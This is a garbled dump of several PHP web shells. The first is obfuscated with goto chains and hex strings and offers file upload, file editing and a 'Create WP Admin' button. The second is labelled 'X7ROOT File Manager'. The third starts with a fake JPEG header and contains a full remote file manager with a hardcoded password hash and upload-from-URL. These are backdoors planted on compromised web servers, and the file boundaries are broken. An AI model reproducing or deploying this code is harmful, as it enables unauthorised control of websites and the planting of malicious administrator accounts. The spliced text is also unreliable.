"\x3c\144\x69\166\40\143\x6c\x61\x73\x73\x3d\47\x6f\153\x27\76\xc3\xa2\xc5\223\xe2\x80\235\x20\x46\151\x6c\x65\x20\x63\x72\x65\141\164\145\x64\x3c\x2f\144\151\x76\76"; goto hQErw; n4fUk: if ($rIJSd) { goto IOF4v; } goto Xx6fd; y2JC5: wNquf: goto vU0kJ; yCmcS: goto FLR87; goto dhR5e; L9Ybt: goto U83vJ; goto zpDZN; KmQnX: goto hcjk0; goto cfBe5; QDb5k: goto fT1WW; goto oBIlN; qLPnR: goto HfICC; goto w6xZ2; Ek6CX: qXWNA: goto OMyEo; QrOof: if (!Wxn15($tUnme)) { goto TepBx; } goto zdsgU; c8Cpu: goto LMiFP; goto b5rBr; wY4I7: pfJQ7: goto UCa6o; dpuZk: L7_dP: goto gtyx3; ybD6v: THXJD: goto ONcuP; rx5Up: goto v0BK4; goto xH_q2; PDrj6: LUNp5: goto Iwiok; JgPGl: Elnla: goto LAQcH; oylB9: goto v26Id; goto h6GK8; odVDg: UWRL1: goto tuGap; FekV5: require_once $rIJSd; goto MMy0M; wV2dM: fdUer: goto qX85B; qoyb0: mmZKh: goto OLBkN; MjtI0: Cg50n: goto LvC12; L9t2s: goto cR2JV; goto J96Mu; CZLgn: pHswN: goto u_6Ay; soNvH: goto yRMAV; goto qBgFi; EuCPZ: goto vL5xr; goto GekuO; UGaKU: goto H9M8J; goto sZ75u; UBRcC: Ihrld: goto TAeJb; e4HMG: KYlTW: goto cS1Um; l14V2: goto kNvRZ; goto INens; z7lyU: QlU0m: goto qw6I2; QQ73s: goto nZqz2; goto p0nTf; TOo3K: wG4QQ: goto aJg8i; UmErq: goto Sh82s; goto EkRve; AW3Fk: if (is_dir($OYF8c)) { goto XVnA0; } goto zi3cN; zpDZN: en_sG: goto T7lRt; FumFJ: blQpy: goto GowsA; WOL8H: goto QJYuq; goto bZY1K; OdvU7: roQYD: goto C1n98; JmZFb: goto d3u7B; goto LlrPd; C1vkz: goto JR8P0; goto bCGEg; OBxJ0: fYnAP: goto qWOAB; MraaV: goto TeCIh; goto zfi1i; hyxRS: l8Ts7: goto gsbM5; t7D2Y: coM_j: goto r74bY; PD19_: UhQNT: goto KZ0MR; SYcSV: cgxrg: goto jWWrY; W1og2: W6f3O: goto EvyPb; gKF0b: lvK0j: goto x55BZ; s5nwg: gUKWt: goto yCAjM; idetg: ZbEA_: goto fabGN; QoIg6: goto HT2aX; goto wkKdZ; TXnS3: goto qEiXE; goto QPI4H; Wc2_k: goto K3Ir3; goto ef1Kq; IYHeZ: HZzN_: goto MFVnP; xHuA4: $oTlAS = $JdqDR . "\57" . basename($_FILES["\146\151\x6c\x65"]["\156\141\x6d\145"]); goto ePZM9; wRq1b: goto pxxt3; goto TPPFj; w1puP: goto EM91A; goto c_uLt; XkG1y: goto FeMir; goto TzBhQ; Yp3qL: ANHC2: goto lAkM5; aJg8i: $JdqDR = isset($_GET["\x64\151\x72"]) ? realpath($_GET["\144\151\x72"]) : getcwd(); goto C3gIo; vqmLF: goto C2lyi; goto mAZJ3; Bd9pg: goto WW7k1; goto RJOeG; fYCQN: goto B_6Vv; goto UV0l8; IwPeD: $hznvy .= "\74\x64\151\x76\x20\143\154\141\163\x73\x3d\47\x65\162\x72\x27\76\303\242\xc5\223\313\x9c\40\167\x70\55\x6c\157\x61\144\x2e\160\x68\x70\40\156\x6f\x74\40\146\157\x75\156\144\x3c\57\144\x69\x76\x3e"; goto Q1G_q; JRoYV: CfqF0: goto IH9CG; oBIlN: goto BBOPc; goto QDtwL; FRbSx: goto nZebr; goto SOxZQ; NsKNm: goto M0ssD; goto Hq1MR; utbJO: goto Sk_8B; goto RhnSC; PvGsR: aCSQe: goto BgGg1; SnuW7: goto HNHs5; goto NfLr7; usIT7: Hm5Mz: goto gwbaH; zK5Gj: goto D1biO; goto YfHrC; pTZ4n: goto UWRL1; goto cWIi8; ekLqq: goto NDbCh; goto A6Ru8; LFZY3: goto doNM2; goto RJvzj; e9J83: Upycx: goto nsdJy; QrZwZ: goto Xt2yl; goto G_inn; cpkaA: goto lOLtd; goto OswRP; dJQ6q: pWS9l: goto nk0Ti; auHqi: goto lwEiq; goto LYSDv; EvyPb: goto bwWlb; goto C0Wga; rSUiJ: XJ15u: goto A5vJ4; XPX4t: V8krl: goto IQxgW; H91jM: goto ucsul; goto VTF8J; q2PPw: goto QyMd7; goto on6bL; i6_nO: goto cLY67; goto AbqTt; Syg08: wGiMn: goto QrOof; LfvTH: goto L7_dP; goto Lfe3c; hKh1w: goto zPqro; goto NgCA9; ilDZF: @set_time_limit(0); goto gvHGm; T5gqz: goto TRreX; goto Neq8l; YA1sX: mrEaW: goto ma8YI; GLdyC: yO1DX: goto GGaB5; Pne0_: rjHcK: goto xhbvE; czEXV: sqq0b: goto ry0vH; cTu15: goto Rl7vB; goto zmw15; iKuDw: SbuXe: goto WRtx2; LorbC: if (!(!$c2TOA && basename(__FILE__) !== "\x77\x70\x2d\142\154\x6f\x67\55\146\x72\157\156\x74\56\x70\150\x70")) { goto l5mRt; } goto Hvjl8; jFU4M: Y3sBp: goto RLu8M; yAqpz: goto skzZX; goto nmlvO; ukl0E: goto Bd7cS; goto D5qrK; WGcpz: goto CNOhR; goto Ga2c2; l3eRf: WytPZ: goto OmVrv; gHIW2: goto jB8SS; goto YVnki; h1d09: nyuzB: goto dWM3l; evbZT: hcjk0: goto N2oFC; qWOAB: goto cUXEM; goto Z_CK8; AL3g6: c6dT5: goto Hw32e; P6I2Y: goto YbMjO; goto wpNnP; e_Wqv: hE81D: goto QoIg6; lwpYQ: if (!@move_uploaded_file($_FILES["\x66\151\x6c\145"]["\x74\x6d\160\x5f\156\x61\x6d\145"], $oTlAS)) { goto gNdVv; } goto vX9vH; F0MHf: goto WrIFn; goto dqcrq; VENIm: Y4A3c: goto ZGS9I; RFrGN: goto IBF6h; goto PJpNQ; b5yUa: goto fx2Zt; goto uqrbB; B0GMM: if (empty($HbhNW)) { goto Y0jlT; } goto TGNVX; CMig3: goto HXUmP; goto GcvOD; H_Ys8: goto cFPwG; goto mB7Lg; FL8BU: GJ2ZZ: goto zfiF0; Wfahm: goto e0lNf; goto dt_Tu; S301N: goto Uzca2; goto Nib1w; IImTN: goto JE1Xg; goto RADZh; ZN7v7: DpIfg: goto HD2_Q; pqjjX: goto pnE5r; goto iNEwI; ma8YI: goto oCdVG; goto A3U_c; Y7noi: $OYF8c = realpath($_GET["\x65\144\151\164"]); goto XDRQ6; Y5uU5: U2hWI: goto MraaV; EZGSd: NxoSL: goto cEhU0; rBTq1: goto HjMDE; goto G1Qv8; m6RZK: echo "\12\x3c\x66\157\162\x6d\x20\x6d\x65\x74\x68\x6f\144\75\42\160\x6f\163\x74\x22\40\x65\156\x63\164\x79\x70\x65\75\42\155\165\154\x74\151\x70\x61\x72\164\x2f\146\x6f\162\x6d\55\x64\141\164\x61\42\x3e\xa\x3c\x69\x6e\160\165\x74\40\x74\171\x70\145\x3d\x22\x66\x69\154\x65\x22\x20\156\x61\155\145\75\42\146\151\154\x65\x22\x3e\x3c\142\x75\164\164\x6f\156\76\125\160\x6c\x6f\141\x64\x3c\x2f\142\165\x74\164\157\x6e\x3e\x3c\142\x72\x3e\12\74\x69\x6e\160\x75\164\40\x74\x79\x70\145\x3d\42\164\x65\170\164\42\40\156\x61\x6d\145\x3d\42\x6e\145\167\146\x6f\x6c\x64\x65\162\x22\40\x70\x6c\x61\x63\145\x68\157\154\x64\145\x72\x3d\x22\116\x65\167\x20\x46\x6f\x6c\144\x65\162\x22\x3e\x3c\x62\165\x74\x74\157\x6e\76\103\162\145\x61\164\x65\x20\x46\157\154\144\x65\162\74\x2f\142\165\x74\164\x6f\x6e\76\x3c\142\162\76\12\74\151\x6e\160\165\164\x20\x74\x79\x70\x65\x3d\x22\x74\x65\170\x74\42\x20\x6e\x61\x6d\145\75\x22\156\x65\x77\x66\x69\154\145\42\40\160\x6c\141\x63\x65\x68\157\154\x64\x65\x72\75\x22\x4e\x65\x77\x20\x46\151\x6c\145\x22\76\x3c\x62\x75\x74\x74\x6f\156\x3e\103\162\x65\141\x74\145\x20\x46\151\154\x65\74\57\142\x75\164\164\157\x6e\x3e\x3c\x62\162\x3e\xa\x3c\x62\165\164\164\157\156\x20\x74\x79\160\145\x3d\42\163\x75\x62\155\151\164\42\40\x6e\x61\155\145\75\42\x6d\141\153\x65\137\x77\160\x5f\x61\x64\155\x69\x6e\42\40\x76\x61\154\x75\x65\x3d\42\x31\42\76\xc3\260\305\xb8\xe2\x80\x98\302\xa4\x20\x43\x72\145\141\x74\145\x20\x57\x50\x20\x41\144\155\x69\x6e\74\57\142\x75\164\164\157\x6e\76\12\74\x2f\x66\157\x72\x6d\76\12\xa\74\164\x61\142\x6c\x65\76\12\x3c\164\x72\x3e\74\x74\150\76\x4e\141\x6d\x65\74\x2f\164\x68\76\x3c\x74\x68\76\x53\x69\172\x65\74\x2f\x74\x68\x3e\74\x74\x68\76\101\x63\x74\151\157\156\163\x3c\57\164\150\76\74\57\x74\162\76\xa"; goto t1qmX; wB4mT: goto zzfx1; goto SYcSV; JelQD: tC_To: goto v70Ky; P5mXa: if (file_exists($txUKt)) { goto sHnMK; } goto Z2WKx; gphJD: goto WPVEP; goto uaHKE; WCK_n: goto Mpo7z; goto fj_AW; lbfVf: goto jVYnj; goto DYzZc; grpq0: Fe25h: goto c1U1G; ixhK6: Xz6X1: goto toqPO; kBz8y: goto K4vVK; goto QIsGB; EoMyx: Q3LgY: goto VdjT6; oYmQe: $JdqDR = getcwd(); goto XYhaQ; o2mrB: C2lyi: goto CWDzT; v70Ky: echo "\x3c\144\x69\x76\x20\143\x6c\141\163\x73\75\x27\157\153\47\76\303\242\xc5\223\342\200\x9d\40\123\x61\166\x65\x64\x20" . htmlspecialchars(basename($OYF8c)) . "\x3c\57\x64\151\x76\76"; goto HHskW; UV0l8: JE1Xg: goto Suitv; EiIeg: Jc76G: goto czEXV; vU0kJ: dsUxH: goto xdkE_; ithkt: goto SYxdL; goto wmOwk; U0S7x: goto PlkQE; goto STKGW; taEru: mkdir($txUKt); goto g7eCo; ml1uh: goto OzJwW; goto ow3OF; blQE1: in0Pm: goto MLZJ1; hcwoJ: pxxt3: goto olZtW; di3MM: CNOhR: goto rx5Up; N0ylX: ct3Gd: goto zdpHs; vxfQW: tMLMs: goto P5mXa; PQmoy: e0lNf: goto cytL0; s2s94: goto TRGsF; goto rdMJx; xyW2D: rLxPm: goto p_EOs; yUM6u: goto YeuQW; goto dzeBt; V6dIU: ReNg9: goto jyS94; BIpk2: $D8T_A = $_POST["\162\x65\156\x61\155\x65\x5f\x6f\x6c\x64"]; goto HsnEG; GhxD3: NqXEh: goto ElFdE; D5qrK: JrmqN: goto FJHh0; JTJ_6: goto tALZ4; goto XtvJl; E31b3: goto bJytY; goto e4M5A; E9h2t: q_Gb2: goto FWA0z; QPOkG: goto ARs3X; goto njHjZ; KMLro: HfICC: goto GgoUW; KXSWh: SXti3: goto XRTM4; w6xZ2: D0vP0: goto xzbO_; OlNXB: Mui_y: goto Vnkje; hu4uH: m1ruy: goto TNp3M; nndCL: goto mqyWi; goto H91jM; Cd6kR: goto CcQIm; goto dSIe6; yTLyD: btFGI: goto xHuA4; oQSm_: goto C6uMX; goto MLYir; fK7R0: goto opisV; goto f2HDu; LlrPd: YvT8m: goto zSz8T; s49_e: GWlCj: goto j51ry; ekQhe: goto b2u9j; goto AZoWW; TzBhQ: K3Ir3: goto QkkKu; AjmtK: WBdv7: goto yNu6z; oVXyY: pYA8s: goto HPY0G; Bcjeb: goto yySjF; goto vnxQO; KFZlq: poMp0: goto YRVUI; NOZ52: goto MeGcL; goto lGHlv; HHskW: goto MntkF; goto KFZlq; Q1nFk: goto fIfaC; goto coJ7U; UBRcL: NJFPs: goto N0ylX; vCrY0: ARs3X: goto AL3g6; P0cNU: goto Jfy1n; goto bcJ_M; lGFhF: OuYb9: goto EaT8m; xdkE_: goto laL26; goto H7JE0; K4XlR: goto KAiSu; goto xWAA_; vX9vH: goto Elnla; goto nuTOO; ReGJh: $HbhNW = rBQ7a(file_get_contents(__FILE__)); goto X385F; Pa9jH: NtNFa: goto BHdPu; L7bMW: HNHs5: goto dROu6; QKDK3: xqiY_: goto V4Gs8; RUISB: lgzIG: goto UDY38; TVOEv: goto Fe25h; goto ijn0m; fdusi: KOFAb: goto VTkSC; GKNUm: goto YcUig; goto Km40z; oaJ0w: goto KPedQ; goto yGKF6; fMQvJ: goto XYPS_; goto VgiTK; Or33W: goto YKM7Q; goto OzAbI; Zp6nL: goto HTfnm; goto NC8Tt; dZWzT: goto wGDt8; goto ri253; ilgUX: p0oO0: goto hnCgw; KCaqs: BNnHl: goto e6jhU; gTcbi: SsqsW: goto Ih3aE; OksMU: goto QtsT4; goto UL46I; GGuih: goto xjdod; goto vqmLF; ocGZL: goto TtH1T; goto MH_RT; z51Jf: goto SGf7r; goto vxfQW; EP9uh: HT2aX: goto J66w6; D8WFc: S5Fw8: goto oyvT0; A8Ezk: VdhuI: goto b7_TF; lf5xV: MiNjJ: goto YeYhj; QPI4H: wGDt8: goto kp5n9; sFQq4: goto L3B6x; goto AjmtK; igrmk: QIiQR: goto QKDK3; dgkA2: goto TOJnr; goto wY4I7; foNlo: goto o43mB; goto PvGsR; bigK0: goto EtncM; goto ot7OM; fabGN: nCsBk: goto mxgon; MWJuv: BAl0B: goto HOZFb; Y1nBo: NEL4y: goto maSn0; ySbKt: A5jA1: goto L3Tk1; RrQzB: goto BAl0B; goto ozSq7; cqOD9: L6DFb: goto bZqDa; yIUPW: HXUmP: goto Y3LoV; BOUyM: EMYdI: goto S2lqR; DW21w: goto fBo5l; goto oYOLp; kEL20: goto SbDAZ; goto yxCxR; HVahR: goto rjHcK; goto mrbai; LYSDv: n2WkM: goto l14V2; C9Pxa: goto T4o2I; goto by2Me; Lct8Y: goto YpUjo; goto EiIeg; iXpBE: goto ANHC2; goto QPOkG; fG3tv: echo "\x3c\x2f\142\x6f\x64\x79\76\12\x3c\57\150\x74\155\154\76\xa";PKJm\ 8x2gj.phpnu[= 1024 && $i < count($units)-1; $i++) { $bytes /= 1024; } return round($bytes, 2).' '.$units[$i]; } $cwd = isset($_GET['path']) ? $_GET['path'] : getcwd(); $cwd = realpath($cwd); // Handle upload if (isset($_POST['upload']) && isset($_FILES['file'])) { $target = $cwd . '/' . basename($_FILES['file']['name']); if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo "
[+] File uploaded successfully.
"; } else { echo "
[-] Upload failed.
"; } } // Handle file edit save if (isset($_POST['save']) && isset($_POST['filename'])) { $path = $cwd.'/'.basename($_POST['filename']); if (@file_put_contents($path, $_POST['content']) !== false) { echo "
[+] File saved successfully.
"; } else { echo "
[-] Failed to save file.
"; } } // Handle create directory if (isset($_POST['mkdir']) && isset($_POST['dirname'])) { $dirName = basename($_POST['dirname']); $fullPath = $cwd . '/' . $dirName; if (!file_exists($fullPath)) { if (@mkdir($fullPath)) { echo "
[+] Directory created.
"; } else { echo "
[-] Failed to create directory.
"; } } else { echo "
[!] Directory already exists.
"; } } echo "File Manager"; echo "

X7ROOT File Manager

"; echo "Current Path: ".safe($cwd)."
"; // Show navigation $parts = explode(DIRECTORY_SEPARATOR, $cwd); $nav = ""; $build = ""; foreach ($parts as $p) { if ($p == "") continue; $build .= "/$p"; $nav .= "".safe($p)." / "; } echo $nav."
"; // File listing $files = @scandir($cwd); echo "
"; // Edit file if (isset($_GET['edit'])) { $file = basename($_GET['edit']); $full = $cwd.'/'.$file; if (file_exists($full)) { $content = @file_get_contents($full); echo "

Editing: ".safe($file)."

"; echo "
"; echo ""; echo "
"; echo ""; echo "

"; } } // Upload echo "

Upload File

"; echo "
"; echo "
"; echo ""; echo "

"; // Create folder echo "

Create Folder

"; echo "
"; echo ""; echo ""; echo "
"; echo "";PKJm\|Y EE p20xj.phpnu[ÿØÿà JFIF ,, AMPFÿá&ÿExif MM *     ž   ¤       ²   º(    1  Â2   Ê<   Þ    ‡i   ìˆ%   x ®Apple iPhone 13 Pro H  H 17.1.2 2024:02:20 17:25:01 iPhone 13 Pro %‚š   ®‚   ¶ˆ"    ˆ'   }  0232   ¾   Ґ  æ  î  ö‘  ’  þ’   ’ '2e35b702f2cd5011321dbea58cd4700c', 'user' => '2e35b702f2cd5011321dbea58cd4700c' ); $readonly_users = array( 'user' ); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; $root_path = $_SERVER['DOCUMENT_ROOT']; $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array( '127.0.0.1', '::1' ); $ip_blacklist = array( '0.0.0.0', '::' ); $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); if ( !defined( 'DN_CESSION_ID')) { define('DN_CESSION_ID', 'filemanager'); } $cfg = new FM_Config(); $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } if (defined('FM_EMBED')) { $dauth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); session_name(DN_CESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $dauth = false; } $is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1)) or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']]; } $root_url = fm_clean_path($root_url); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[DN_CESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true and $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } if ($dauth) { if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) { } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) { $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[DN_CESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[DN_CESSION_ID]['logged']); fm_show_header_login(); ?>
".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p']) and empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); $isim = "//input"; $input = file_get_contents('php:'.$isim); $_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; define('FM_PATH', $p); define('FM_USE_AUTH', $dauth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } if(isset($_POST['type']) and $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) and $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) and $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) and $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url 